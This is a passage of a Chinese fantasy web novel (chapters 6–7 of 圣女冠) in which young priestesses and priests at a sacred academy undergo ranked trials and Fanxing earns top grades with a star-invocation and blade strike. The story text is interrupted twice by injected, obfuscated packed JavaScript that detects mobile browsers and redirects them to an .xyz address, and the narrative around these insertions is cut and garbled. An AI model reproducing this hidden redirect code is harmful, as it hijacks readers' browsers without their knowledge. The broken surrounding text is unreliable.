看起来脾气最好的房宫宫主,在太虚大人点亮后,笑呵呵地说:“考核顺序随机。” 他一拍折扇,太虚大人爪下摁着的圆球亮起,显现一行字。 繁星看过去,号码六十一。 也就是说,是识玉号码六十一的圣女圣子上台考核。 宁凤游苦着个脸,“我还以为按顺序,这样我们一百多就会排很后面,压力也能小些。”结果是随机。 那岂不是每一把她都要紧张下。 繁星没说话,她不动声色扫了一圈,看到自己斜侧方一位绿衣女子走上台去。 她扎着两个圆髻,髻上别的不是首饰,而是带绿叶的细枝,气质恬淡平和,给人草木清新之感。 宁凤游稀奇地说:“她跟我一样,也戴花环哎。” 繁星说:“你戴的是幻植,她的,就是正常草木。” 台上,绿衣圣女先朝太虚大人的拟像行礼,之后才是上首的几位宫主。 尾宫宫主云野哟了一声:“木灵族圣女~开头就是重彩呀,不错不错。” 云野用的是识玉传音,此话一出,其他三位宫主腰悬的识玉齐齐闪了一下。 没人理她。 房宫宫主面带微笑,折扇一抬,“开始吧。” 绿衣圣女颔首,转身面向太虚大人时,神色一肃,“我族的传承,乃五行巫术·木灵!” 繁星看到那位木灵圣女双手结印,最后一印成时,一股绿波以圆台为中心向四周荡开。 绿波经过繁星时,她还特地感受了下,没有攻击性,只有一股,生机? 围在云峰山顶周围的绿植刷刷抖动起来,以肉眼可见的速度向上生长、向内延伸,最终聚拢到一起,盖在众人头顶上方,正应了那句“绿荫如盖” “此为草木华发。” 木灵圣女开口,停了三息后,头顶的绿荫退去,云峰周围的松树停止生长,只是针叶比之前更葱茏了些。 宁凤游见状一拍脑袋,终于想起来什么似的:“我知道她!她、她好像是木灵族圣女!” 繁星:“木灵族?” 宁凤游:“五行灵族之一的木灵族呀,这五族好像都是天生巫族,信仰五行之灵。” 繁星幅度不大地点头,不知是听没听懂。 宁凤游见状,贴心地换了一个更通俗的说辞,“五行灵族本来就被天下人熟知,又都在神国登记过,所以她们的圣女都有玉圭!懂了吧!” 繁星:“懂了。” 就是那位木灵圣女,便是有名有姓的、拥有玉圭认证的殿下之一。 比她正规。 台上木灵族圣女并未就此退去,她再次施术,这次对象换成了太虚大人吐出的黝黑陨铁。 陨铁被绿光包裹,十息后,嗡嗡颤动起来,竟然长出裂纹,裂纹一分二,二分四,汇聚到顶端,竟长出一个绿芽。 绿芽生长,快速完成了开花结果到枯萎的全过程,最终绿色消失,只是陨铁的裂纹再没有恢复了。 露了这一手,木灵族圣女才对上首说:“宫主,我完成了。” 角宫宫主双手抱胸,冷面不参与琐事,尾宫尾宫不着调,一般这种场面活儿,都是最稳重和蔼的房宫主做。 他朝木灵圣女肯定点头,温声道:“你所使之术,乃木灵中的中级巫术,草木华发。草木生长,植物破土而出,连陨铁都能穿裂。” 沉吟一番,最终说,“我给你的传承评级为,天级;施术评级为,天级;术式威力评级为,地级。” 木灵圣女听到最终那个地等评级时,眼眸微动,却没有开腔反驳。 有尾宫宫主打头,其他宫主陆续开口了。 角宫宫主干脆利落:“天、地、地。” 心宫宫主呵呵笑:“我的评级和房宫主一样。” 云野话最多:“你术施得还是柔了点,果决些才好。天等、地等、地等。” 最终评级由太虚大人亲定,圆球显现木灵圣女最终的评级:“天地地,综合:地下。” 宁凤游难免心惊:“这位可是货真价实的圣女哎,评级也只有地下吗?” 那换成她,岂不是玄下? 运气再差点,说不定就摸个黄等,那就可以回家了。 繁星说:“可能圣院对圣女的要求就是严格吧。巫术本就难学,哪怕是圣女,面对中高级巫术,也会感到棘手。” 话虽如此说,繁星心中更真实的想法是,其实圣院也没有很严格。 中级木灵术草木华发,她坚持的时间不够长,术发也不够迅捷,最后“破土而出”,威势更加不够。 能有地下评级,恐怕还沾了五行巫术乃是大类,圣院立场不好评判的光。 宁凤游摸下巴点头。台上,木灵圣女已经退下,太虚圆球的数字重新变幻。 不太妙的是,后面上去的人,接连出了几个黄等评级,还是太虚大人钦定的综合评分。 这一下子就衬得木灵圣女开头得的那地下评级,眉清目秀起来。 宁凤游已经脸色发白了,“那几个一看就是别国培养的……那个啥。我可能不比他们好多少!” 偏偏就在这时,太虚大人的圆球定格在“一零二” 繁星伸伸胳膊:“凤游,到你了。” 没得到回应,繁星侧头,看见宁凤游一副天塌了的样子。繁星眸中闪过了然,想了想,伸手握住宁凤游的手腕。 宁凤游已经要咬牙冲上去了,手腕一量,她“狰狞的”面孔顿了顿,垂头。 小臂的位置出现一只白皙干净的手,骨肉匀称,屈起的关节却透着一股力量感,顺着这只手往上,是一双平静幽深的眼。 “繁星?”宁凤游愣住。 繁星浅浅一笑,开口就是:“凤游不用怕。” “你颈上所佩花环,乃是上古高阶幻植,若凤游契约的幻植与之同源,传承评级就不会有问题。且幻植本就不以攻击力见长,最后的威力测试,稳定发挥,宫主们便不会为难你。两项评级已经基本保住,凤游唯一需要争取的就是施术评分。” “此关能过。” 清和笃定的声音,不是空泛的安慰,而是细枝末节,有条有理地陈列,叫人无法不信服 宁凤游张了张嘴,却发不出声音。在这个关头,她诡异地想到了那日殿外第一次正视繁星的时候。 也是那样的……那样的…… “凤游?”繁星微微歪头,露出疑惑的眼神。 宁凤游忽然转身,背对繁星,重重嗯了一声。 她上台了。 姿态像要去打仗。 繁星目视宁凤游上台,看她自报了家门。 “中州宁氏宁凤游,见过四位宫主。” 云野都快打瞌睡了,这会儿却来了点精神,“哟,宁氏的。” 还是没人理她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984906|161402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可她心态很好,继续乐颠颠地问:“是咱本土世家,要放水不?” 回应她的竟然是话最少的角宫宫主,“宁家老祖契的幻兽不简单,可以多看看。” 宁凤游已经结印召唤了,连繁星都目有好奇——这些天,凤游一直带着她刷识玉,她从来没见过凤游契的幻兽。 召唤阵纹息,显露在众人眼中的,是……一棵藤? 一颗深紫色,浑身带刺的藤,藤的末端,不知道是头还是尾的地方,开了一朵大花,有脸盆那么大,花蕊的部分却很奇怪,黄黑的条纹组合,形成一个诡异的五官。 房宫宫主凝重地说:“鬼脸藤花。” 云野:“对呀对呀,宁家老祖在百年前苍庭秘境中契的幻植,击退了上古异兽猊,有近神兽的实力。” “这小姑娘分进了我尾宫,你们一会儿放点水哈!”她索性也不装了。 房主道:“若她的鬼脸藤培养得好,还用得着我们放水?” “恐怕还是要的……”一直沉默的心主开口了。 他一指台下,众人正好看见新召出来的鬼脸藤花第一反应是抽了契主一鞭子,给小姑娘疼得龇牙咧嘴。 宁凤游一边忍着疼一边在心里大叫:“藤花!祖宗!您今天能别抽我不,看看场合呀我的天!一会儿表现不好,咱就得收拾收拾回家了,您还在这儿耀武扬威呢!” 藤花祖宗扭了扭身子,终于老实被宁凤游握在手里。 宁凤游朝周围讪笑,开始施术。 结印的时候忍不住朝繁星的地方看,她周身就是像蕴着一层光彩,人群中一眼就可看到。 想到繁星的话,“凤游唯一需要争取的就是施术评分,此关能过”,心一横,调动全身的灵力,催使藤花的神通。 “幻藤!” 众人见到,原本只有半人高的藤花开始伸展变长,最后变得足有房顶那么高,鬼脸也变得十分巨大,微微垂坠着,有种诡秘的气息。 鬼脸“看”了人群一圈,开始喷吐亮黄色的雾气。 雾气缓慢充盈中心圆台,有逐渐向外扩散的趋势。 云野赶紧夸:“妙啊,这玩意有毒!吸多点就要浑身抽搐了。” 房宫宫主脸色严肃,抬手结了个罩,将雾气兜在圆台中心,免伤他人。 宁凤游根本就没空管幻雾的范围,一心只想着繁星的话,要全力施展。 她使出了吃奶的劲儿,生生等到体内灵气消耗一半,开始切换手印,施展第二个神通。 “藤杀!” 鬼脸藤停止吐雾,保持着巨大傲然的姿态,藤身旋动。无数利刺倾射而出,扎在不远处的陨铁上。 繁星透过未散的雾气看到,陨铁未裂,但是藤刺好歹是扎了上去,就是深度不深。 宁凤游脸都憋红了,还想操纵藤刺往里钻钻,但实在有心无力,最终垂手作罢。 两个神通,把宁凤游所有的灵力给榨得干干净净,收手时差点没站稳。 鬼脸藤花也不复刚出来时那般的精神抖擞,蔫头耷脑地环了一个圈,挂在宁凤游的颈上,比那个风干花环还不如。 宁凤游虚弱拱手:“宫主,我好了。” 云野:“她好了!孩子不错啊!给点好分啊!” 云野越过房主,第一个开口,和颜悦色:“你的幻植十分特殊,若我没看错,应是百年前苍庭秘境中现身的鬼脸藤花,曾有记录,成熟期鬼脸藤花有近神兽的实力,你能契约这种幻植,很不错。我给你的评级是,天、地、地。” 对着弟子和各国殿下们,云野还是端着她的宫主姿态的,话也说得稳重客观。 可闪烁的识玉中冒出的话却是:“到你们了,打分!咱们中州本地的孩子,培养个殿下不容易!” 房宫宫主嘴角微抽,对着宁凤游开口的声音倒很温和:“我的评级是,天级、地级、地级。” 心主:“地级、地级、地级。” 轮到最严格的角宫宫主,她道:“地、地、玄。” 云野不满了:“哎你们俩怎么回事?” 心宫主说:“宁家老祖契的那株鬼脸藤,确实可以评天级,可她这株,还是个孱弱的幼生体啊。” 决无锋本来都懒得回云野,等云野瞪她快把眼珠子瞪下来了,才慢悠悠道:“你瞪我也没用,她第二段藤杀威力不够,我要给地级,外人就该有说法了。” 听完宫主们的评级,宁凤游捏了捏拳,并不算有多失落,只是紧张地看向太虚大人。 太虚大人摁着的玉球微闪,最终给出的评级是:“地、地、玄。综合:玄上。” 宁凤游听到玄字,心就沉了下去,两个玄了……难道没过吗? 可台下,繁星却笑着对她点头,似乎在说,做得不错。 宁凤游反应过来,之前掌师说的是,宫主们的评级中有两个玄,太虚大人的综合评定是不包含在内的。 也就是说,她过了! 房主和云野对宁凤游报以微笑。宁凤游懵懵地下去了。 “我过了?”宁凤游指自己。 繁星笑:“你过了。” “天哪!”宁凤游感觉自己一下子就活了,“繁星你不知道我刚才听到两个玄时有多紧张,我以为自己要被淘汰了。”她语速很快,叽叽喳喳中透着兴奋。 繁星说:“角主杀,凤游刚才的藤杀威力确实有些不够,角宫宫主如果给你地级,免不了要被人质疑评分公正了。” “我知道我知道,现在这个评级我已经很满足了。”宁凤游拍胸口。 宁凤游过后,后面再次出现大量黄等评级,可见报名第五宫的殿下们,挤一挤,实在能挤出不少水分。 云野已经有些犯困了,但转头瞄到纪灵焰的脸色,立马精神了,“哈,纪灵焰不耐烦了,瞧她脖子上那火转的……” 纪灵焰确实已经到了爆发的边缘,她猛地拽下神火,烦躁地甩了下鞭子,鸟瞳一样的眸子尖锐地扫过上首宫主的座次,却顾及玉雕拟像上有太虚的灵识,不敢造次。 四宫宫主当然察觉到她这一眼,不为所动。 而云野更乐了,“还是院长有远见啊,考核偷懒不来,用太虚大人压场子,别说,还真能压住。” 说话间,玉雕的号码再次变幻,这次定格在“一零一” 看了会儿纪灵焰的乐子,云野好似恢复了一点精力,“让我来瞧瞧这回上来的是哪族的……咦,大荒司辰部,大荒?” 立在宫主旁边的房盛悦看见这个数字,猛地抽动一下胡子。 他对这个编号背后的圣女,可谓是印象深刻,想着要不要提点一下宫主,下首的队伍中已经走出一人。 有一种很奇怪的气场,看见她,人群逐渐收声,安静下来。依然是深红的袍,很古旧的样式,没戴那些表彰身份的礼饰,只额头一个眉心坠,平淡点缀眉眼。 吵嚷的云宫主莫名息了声。房盛悦一哂,想着,这位也用不着他提醒。 纪灵焰不知从何时起停止了甩鞭子,神火停住,像某种竖起上半身的蛇类,尖锐而冰冷地审视圆台中心的少女。 繁星站定,依次向太虚拟像、四宫宫主见礼,起身时开口,以一个不高不低,恰到好处的音量。 “大荒司辰部,繁星。” 6.圣女冠(六) “大荒司辰部,繁星。” 听到这句,云野首先嘶了一声:“大荒这地方,还活着部族呢?那之前各国的人去查……也没发现啊?” “或许生活在深处,或许是更加隐秘的边陲。总有一些特殊的巫族,能无视大荒的环境,存活下来。” 识玉频闪几次,停息下来。房主抬头,看着繁星,笑容温和:“你叫繁星是吗,若准备好了,就开始吧。” 繁星颔首,似有瞬间的停顿,一息过后,眼神一沉,气质陡然不同起来。 像藏锋的神兵,在这刹那间出鞘。锋芒毕现。 她右手的食指与中指并拢朝天,拇指向地,快速结了一印,抬眸时,定音开口。 “祈星·唤灵。” 繁星的声音不大,但足以让全场这些耳目灵便的人听见。 此时正是白天,日光洒得恰到好处,前几日都是多云转阴的天气,唯有今天是晴天,想来是圣院特意择的好日子。 白天通常都是看不见星星的,尤其是日光强烈的晴日,可此时,云层中却有个星点猛然大灿,穿云破出光来。 这样的光点与太阳的灼热宏大不同,它不争辉,不抢眼,没有照亮天地的意图,只持续发光,恒定而持久。 是星。 一颗星在灿阳高照的晴天,回应了繁星的呼唤。 繁星的身上朦胧披了一层星光,莹莹灿灿。抬眸,看见云层中的星点,在繁星眼中,那星正如一只巨大的眼眸,正扒着云层看她。 是天狼。怪不得这么亮……繁星只是随意用了祈星术,没有具体呼唤哪一颗星,白天星力被压制,不同的星出现,呈现的效果难免不同,而天狼,恰是这个场合效果最好的一颗。 想着时间应该差不多了,繁星收印,可身上的莹光并未消散,天狼依然在持续发光。 繁星顿了一下,快速反应过来,变换手势,单手再结一印。 “祈星·附灵。” 于刹那间抽刀出鞘,月轮一样的寒光快过人眼,飞旋而出。没有发出什么金石相击的声音,那一刀的轻易,像寒兵劈开了水,水波迸起,一分为二。 等到金刀回鞘,众人所能听见的,不过陨铁分裂坠地所发出的沉闷滚响。仅此而已。 再看切口,削泥一般,光滑平整,显然是被强横的力量一道截断,没有任何抵抗的余地。 繁星的手尚握在刀柄上,不动声色地抬眸,看见天狼竟然还扒着云不走。飞快地眨了一下眼,天狼隐入云层,消失不见,才缓缓转身。 “宫主,我好了。” 轻巧平淡的一句,听不出什么起伏。 台下的宁凤游正为繁星惊叹,她早就知道繁星的传承是星术,因此看见灿然的星点也没觉得奇怪。只是感叹这星亮到白天都能看见,一定很厉害吧。 直到看到繁星劈手斩断陨铁,她才惊愕地瞪大眼睛。 速度太快了! 别说眼睛,她的脑子都捕捉不到。只模糊听到什么“附灵”,再回神时陨铁就一分为二了。 她可是用藤刺扎过陨铁,知道那玩意有多坚硬。只能依靠藤杀爆发的突发之力,勉强扎进去一点,而繁星却能一刀截断,姿态还很轻松。 这就是她跟繁星的差距吗? 宁凤游自顾自做着外行人的惊叹,而台上四位宫主的神情已经十足严肃,就连最不正经的尾主云野,此时也收了嬉闹之色。 “星术?”房宫宫主凝着眉,神色惊疑不定。 她难道是……可翻了下手中玉简记录的信息,明明显示是“大荒司辰部”,与周绝无半点干系。 角宫主决无锋一改之前万事与我无干的姿态,主动开口:“不是你想的星术,她用的,只是最基础的祈星。” 在星术大类中,祈星只算低等巫术。便如字面意思,向星祈愿,祈求被星界的某一颗星看见,以此获得星力赐福,得到一些基础的能力。 “只单纯祈星的话,一些野巫都能做到。少部分生活在极寒、或者沙漠地带的荒原部族,也存留着一些对星的原始信仰,运气好,多少能得到一些星力赐福。”云野正经起来的时候,看起来倒真像个宫主。 繁星已经被晾了一会儿。 这是宫主们在传承展示完成后,第一次没有立即回应,而是头探在一起私密讨论起来。 这讨论虽然听不见,可姿态却并未做掩饰,引得围观的圣院弟子们也忍不住窃语。 纪灵焰再没有之前的不耐之色,眼瞳盯着繁星,所有所思。 倚在巨虎怀中的鲁擒虎不知从何时起结束了小憩,微支起上半身,抱胸看着这边。 有容圣子旁边围了一圈黝黑的虫子,吱吱作响,没一个学生敢靠近他。他盘膝静坐,闭着眼眸,是场中看起来唯一没有被吸引注意的人。 可若细看,就能发现盘绕他的虫子不知从何时起停止爬行,虫身皆转向同一个方向,微微翕动触角。 台下的宁凤游在这片夹杂着私语的安静中后知后觉感应到什么。 这……不太对吧。 宫主们怎么不说话? 神国殿下怎么有兴趣看弟子的考核了? 繁星面无表情,继续等待,叫人摸不清深浅。 良久,宫主们坐回原位,房主伸手敲敲案桌,开口了:“你……方才所示传承,是星术?” 众目睽睽下,繁星竟然点头。四位宫主还来不及欣喜,就听繁星不紧不慢解释:“正是祈星星术。” 心情还没提上去,就陡然下落。 后面的房盛悦瞄见几位宫主发沉的脸色,不知为何,心里有点暗爽。莫名有种,我所经历的难言之苦终于也被他人经历了,妙哉妙哉! 云野不死心,又故意问:“你方才,呼唤的是天狼,你可是与它契约了?” “契约?”繁星先是一愣,跟着露出一抹汗颜,“繁星只能祈星,呼唤后得到熟悉的几颗星的回应,与它们建立微弱的连结。至于契约……也曾尝试过,但是从未成功。” 竟回答得滴水不漏。 若说星术大类中,祈星尚好入门,那么祈星之后的契星,便是星术中的中高级巫术,如同天堑,能瞬间筛掉近九成的人。除了周氏,几乎没听说过有人能修成。 云野微抬起的屁股又坐了下去。 繁星观察着几位宫主的神色,沉稳的表情有微微皲裂。她像是终于察觉到宫主们几番盘问后的不对劲,感到一丝后怕了。 “宫主……”繁星迟疑开口,“可是星术的考核有所区别,需要成功契星,才能通过?” 房主无声叹一口气,却又笑起来,温和道:“叫殿下多想了,只是殿下方才施展的星术,叫我们联想到其他东西,才多问几句。” “这便开始评级。” 台下的宁凤游为繁星松一口气,又在心里嘀咕:这,房宫主好温柔啊,还喊殿下呢。难道这就是优秀弟子与他们普通弟子的区别吗? “你所施展的传承,乃是星术大类中的祈星。”房宫主徐徐开口。 “祈星唤灵,呼唤的天狼星恒久明亮,星力持续不散,说明你与它联结颇深,可以允许你调动的星力更多,假以时日,说不定就能摸到契星的门槛。” “祈星附灵,星力附着于武器之上,一刀劈断陨铁,没有任何滞涩迟疑。” “以上,我给你的评级是:天级、天级、天级。” 人群刹那安静,恍惚以为听错了。 角宫主无视他人,第二个开口:“你的唤灵附灵之术,房宫主已经点评过,我就不多说了,只说你方才出鞘的那一手。果断迅捷,且施了巧力,才能让陨铁呈现一刀横断的效果。” “你的杀伐之术修得不错,当是有刻意训练过。可愿入我角宫?” 云野一听这话,神情立马警惕起来。刚刚脑中还在琢磨的周人,转眼被抛诸脑后。 角宫主的识玉开始频频闪动,一连串的消息提示。 “决无锋你什么意思?” “正大光明撬我墙角?” “当我这正经宫主是白瞎的?” “要你评分就别跑题啊,你不会点评就我来!” “……” 台下繁星愣了愣,有些意外,还是说:“多谢角宫主好意,但我先前已经选了尾宫。” 云野:“好孩子。” “如此,”决无锋点点头,若无其事回到正题,“我给你的评级是,天级,天级,天级。” 坐下后终于在云野发的诸多消息后面回了一条:“你行你来。” 云野嗤之以鼻,转头对繁星和颜悦色,明明尚且年轻秀美,却生生挤出了慈爱之色。 “只单从你施的两个祈星术看,便是传承星术的周人亲自在这儿,所能达到的,也就这个效果了。我给你的评级是,天级、天级、天级。” 说完咂摸咂摸,又觉得太过正经,显不出她的特殊来,又忍不住多添一句。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是她观察一圈“殿下”们的水平后,给自己找的,既不会暴露,又能保住评级的方法。 “切!”宁凤游可不赞同,她自有见解,“道理是这么个道理,但真能做到的,到目前为止也就繁星你一个。那是别人傻么?显然就是别人实力不到位,而繁星你到位啊。” 宁凤游说起大道理来,全然不似她平时的胆怯,一套又一套的。繁星扬着嘴角听着,看圣院弟子将破碎的陨铁收走,太虚拟像重新吐出一颗新的。 转眼又是好几人上台,并没有什么出彩的表现,至多也不过得了个玄级下等。 宁凤游看见已经有考完的弟子忍不住无聊走了,便说:“考完可以走了哎,繁星,你要走吗?” 繁星的眼眸动了动,视线微不可查地落到某个角落。 那里与宫主所在的位置平行,像是专门劈出来的空地,还有一颗古树遮阴。三位还未轮到的神国殿下,便在树荫下小憩。 圣院弟子们自发远离那里,似乎知晓那里与他们不在同一个世界。 繁星收回目光,说:“不,我要等三位神国殿下出场。” 宁凤游一愣,跟着咧嘴笑了,“原来你也想看啊!嘿嘿,我也想,今日在场的这些人,恐怕没人不想。听说三国内外,都对这场考核十分关注呢。” 说完双手合十,就像她这个年纪的少女一样,露出憧憬羞涩的眼神,“其实我最想看有容圣子,听说他容貌天下一绝,之前他出场,我都没看清哩。” 宁凤游此时此刻展露出的羞涩,甚至都称不上是倾慕,更像是人单纯对美好事务的向往。 繁星含笑听着,像被日光刺到,眯了眯眼,抬手挡住。空出的另一只手,却悄然握向剑柄。 今日的天,确实是好,天高云阔,气朗风清。站在云峰之顶,有种抬手可以摸到天壁的抒意畅快。 正值秋季,云峰种植的枫树已经有些泛黄,但绿色又未完全退去,金粉一样的日光洒下,绿色更浓,金色更灿,是独属于秋天的写意之美。 如此美景。围在这里的圣院弟子,是昂扬向上的;神国殿下,是瞩目高贵的。一切景象,正显露出一种欣欣向荣的气息。 太平静太美好了。 美好到繁星觉得,本不该如此。 她的心明明是空泛的,却渴望一场风暴。 摧毁这一切。 7.圣女冠(七) 当玉雕牌号终于显示为“一”的时候,纪灵焰已经在濒临爆发的边缘。 鲁擒虎倒一直很悠闲,蜷在猛虎怀里睡了好几觉,此时微抬眼睫,慵懒地提醒:“到你了哦。” “不用你管。”纪灵焰猛地一甩鞭子,化为火光,轰地一声炸到台上,动静给边上的圣院弟子吓了一跳。 云野:“小丫头脾气怪烈的,还好咱这台子造得结实。” 房宫主嘴角微抽,朝纪灵焰抬手,“劳殿下久等,如果准备好了,就可以开始了。” 纪灵焰没说话,嘴角微哂。准备?这样的考核,她有什么好准备的? 然而再高傲,再不将四宫宫主放在眼里,对着太虚拟像的时候,还是规规矩矩行了尊神礼。 纪灵焰脖颈上的神火旋转浮空,这次没有化鞭,而是瞬间膨大十倍,凝成一个火鸟。 火鸟有羽冠,有长长的拖尾,双翅振开时,铺天盖地,遮住了悬日,整个云峰天幕都染上炫目的红。 宁凤游震撼地看着,喃喃道:“这就是兽神大人钦赐的神火啊。” 繁星:“什么神火?” “纪灵焰脖子上的火啊,那是纪国兽神在纪灵焰出生时下赐的天地灵物,听说是世间至纯至热的无上真火。纪灵焰的灵焰之名也由此而来,寓意深远。” 说话间,那神火化成的鸟盘旋几圈,开始淅沥喷吐出火雨,火雨下坠,带着雷霆之势,伴随着轰隆的声响,铺天盖地砸下来。 乘坐飞行幻器的弟子先是眯着眼睛看,看清那所谓“雨点”长何种模样后,骇得脸一白,纷纷逃散。 这哪儿是什么火雨啊!要把所有人砸死的陨石雨还差不多! “天,她是疯了么?这么大规模的群攻术法要是砸到人身上……”宁凤游的眼映着火雨炫目的红光,因为过于震惊,都没用尊称。 她拉着繁星就想跑。 繁星仔细看了眼火雨,将宁凤游拉住,“不用跑,这火雨伤不了人。” “什么?”宁凤游停住,恰在这时,一簇火团呼啸着,正好砸到他们脚边,火光迸裂,却只发出滋滋的声响,等火灭,地面一干二净,连燃烧的灼痕都没有。 “真的不伤人。”宁凤游惊奇。 有弟子也发现这雨雷声大雨点小,停止逃散后,怪异地摸摸脑袋。 繁星平淡道:“纪灵焰在故意操纵火雨威力递减。这是一个高级群攻术式,瞬发保持了威力的同时,却伤不到人。” “那这有什么意义?”好好的群攻大招发出来还没效果,宁凤游不太理解。 繁星朝宫主的方向抬抬下巴,宁凤游顺着繁星的动作看过去。 上首,尾宫宫主看着这场火雨,连连点头,像是很满意。 宁凤游恍悟:“我懂了,这是既用了高级术式,又表示她能收发自如。对吧!” 云野倒是不知道她点个头还能让学生产生这样美妙的误会。刚刚,她其实是在跟其他宫主发表她的感想。 “这火是不错。要是能弄个大火炉装起来,搁圣院摆着,没事烧一烧,天芒的冬天就不会那么冷了……” 没人理她。 好在云野的聊天从不冷场,因为她自己就能跟自己聊起来。 “说起来她纪国的传承也不是这火吧,姜之源那老东西真没用,白白让一个外人夺了传承占了姓,夺了传承后又不重视,现在倒好,神级巫术也没人继承,迟早要被纪氏彻底吞掉。” 姜纪之争一直是个让人津津乐道的话题,心宫主忍不住加入了聊天,“姜家也不是没人继承吧,姜之源不是还有个儿子?我听说他也在这届新入院的学生里。就是不知道分在了哪宫?” 四位宫主还真有点迷糊,世人只知纪灵焰,哪儿还想起来背后的姜氏啊。 遂问后头管着这届报名的房盛悦,“小悦,姜之源的儿子,叫姜什么来着,分在哪宫?” 房盛悦的识玉由此接入了频道,加入了聊天队伍。 顶着小悦的称号,房盛悦翘着胡须绷着脸,板板正正道:“叫姜溯,分在了,尾宫丁院。” 其他宫主好奇了。 “怎么是尾宫?” “怎么是丁院?” 云野乐了,“这小子有眼光啊!” 房盛悦回忆起当初报名的场景,“那位公子,选宫时,听到尾宫各方面发展比较……均衡,当即就中意了,分院时,更是主动要求进丁院。因为要求最低,他不用接任务。” 其他宫主恍然地笑了。 云野脸黑了。 “什么眼光啊。”云野抱怨,“看来姜家是真不中用了。” 这导致后面给纪灵焰评级时,云野差点想根据私人情绪动点手脚。可惜她还要维持尾宫宫主公正无私客观正直的脸面,到底憋住了。 最终纪灵焰的考核无可争议地以全天级评价通过。 她都没下台,直接睬着火,伴着群鸟飞走了。殿下的派头端得足,就是看着一秒也不想在这里多呆。 云野砸砸嘴,目视着群鸟飞走的方向:“我赌她不走。” 这方向可不是回纪国的。 房宫主:“她可能是想找院长。”不然不能忍这么长时间。 心宫主:“院长还没回呢。” 角宫主:“那不正好?” 繁星从头到尾,坚持看完了三场神国殿下的考核。她看得很认真,很仔细,像是要将所有细节,深深刻在脑子里。 纪灵焰善火,只一手神火,便称得上天下无双; 鲁擒虎奉行暴力,方才上台,她不用任何术式,单拳便轰碎了可以用来锻造神兵的陨铁; 徐有容善毒,饲养无数神秘的蛊虫幻兽,能力在三人中最为神秘诡谲。 今日台上他们展露的,不过冰山一角,远不足以窥探出全部实力。 但没关系,总有一天…… 当思绪沿着“总有一天”继续向下的时候,繁星猛地停住了——她不知道“总有一天”后面是什么。 甚至,她不明白自己脑中为何出现“总有一天” 耳畔是宁凤游的声音,她这回终于看清了惦记许久的有容圣子的真容,却感觉幻灭,一副天塌了的样子。 “怎会如此啊!长了一张祸国殃民的脸,好好地玩什么虫子,这下好了,全白瞎了……” 有那么一瞬间,繁星分不清虚幻与现实。 她像是身处于某道命运长河的交汇处。 长河水声汩汩,一端是宁凤游的叽叽喳喳声,“这个圣女真厉害,那个圣子真俊俏” 河流的另一端,隐在迷雾世界的尽头,有个声音在耳畔低语,“总有一天……” 繁星忽然转身,“我们走吧。” “啊?这就走啦,不看啦?”宁凤游愣了一下,跟上。 “嗯。” 属于总有一天的未来,她暂且触碰不到。 那就只好向前了。 - 繁星走后,也不过过了两刻钟,第五宫的第一轮考核就彻底结束了。 围观的弟子在三国殿下比完之后就走得七七八八,弄得云野忍不住嘀咕。 “这就走啦?都冲着神国殿下来的呗。咱们几个宫主亲坐在这,也没见有学生上来请教修行问题,这么好的机会不知道珍惜……” “请教你什么?怎么八卦看戏找乐子吗?”角宫主很不留情面。 云野一噎,跟着就翻脸了,“决无锋你什么意思?今天就专门针对上我了是吧?之前抢我人的事我还没跟你算账呢!” 她叉着腰,佯做生气,可其他宫主听到这话,却齐齐沉默起来……抢人不过小事,重点还是在那位大荒圣女。 “那位殿下的情况,需要跟院长说明吗?”房宫主想了想,还是问了一句。 云野一愣,嬉闹之色立马收了。 “这有点小题大做了吧,她目前看着没什么问题,用的也只是最基础的祈星术。而且荒原部族,资源匮乏,多靠星辨认方向,他们依靠纯粹的祈愿之力,偶尔能与星建立沟通,不算什么奇事。” 云野玩闹归玩闹,大事上从来都能拎得清。自己宫里的孩子,就算只是“暂定”,那多少也要护着点。 “她那手祈星术,可不像是一般人能修出来的。”心宫主摇摇头,单纯就事论事。 云野暗自咬牙。老东西刻板得很! 这事拿捏不定的地方也就在这里,事关星术,就有可能涉及到周族,那就可大可小。 沉默中,决无锋忽然嗤了一声,她抬抬下巴,抱胸说:“咱们圣院,立院千年,多少天才没见过?这点阵仗就大惊小怪,倒显得咱们没见识了。” “对对对!”云野赶紧附和,给决无锋递过去一个你很上道的眼神,单方面原谅她之前跟她抢人的事了。 两位宫主意见统一,房主和心主都不是多事的人,遂点头应下来。 恰在这时,太虚拟像传来了动静,玉雕莹光一闪,细丝一样的灵线从玉雕内部钻出,在空中盘绕一圈,很快消失不见。 原本看着莹润发亮的玉雕转瞬变得平平无奇起来。 “太虚大人的灵识回收……院长回来了。”房宫主有些意外,这比他们原本以为的时间要早。 云野眉梢一挑,忽而想到什么,神情有些玩味:“方才那三位神国殿下好像都找院长去了吧。他这一回来,岂不是堵个正着?” 决无锋看了云野一眼,道:“像这等大事,才应该上报院长。” 云野抚掌大笑:“是也……哈哈哈!” - 天芒一道鲜有人知的入口,忽地微光一闪,浮现一道人影。 人影悠然甩袖,在云层中踏步。隐在袖中的手微动,不知从何而来的灵光被他召回,细丝一样钻入指尖。 那灵光正是太虚灵识。 人影感受一番,低语:“唔,除了三神国殿下,这次考核还出了一位全天级。大荒……” 他身形在云层中若影若现,看不清面目,只觉风姿缥缈,飘飘若仙。识玉闪动,想来是有人收到了他回归的消息……接通一看。 决无锋:“无名殿前,三神国殿下齐聚,正等院长一会。” 人影悠闲的步伐一顿,抬起的脚,极其自然地调转了方向。 刚刚才开启的入口尚未闭合,人影直接就着原路返回,还不忘跟属下交代。 “就说我未归。叫他们等。” 决无锋最终做了发消息的人,其他宫主明明有自己的识玉,头却都凑在她的识玉上方看。漆黑黑的脑袋围了一圈。 “院长回了么,怎么说?” 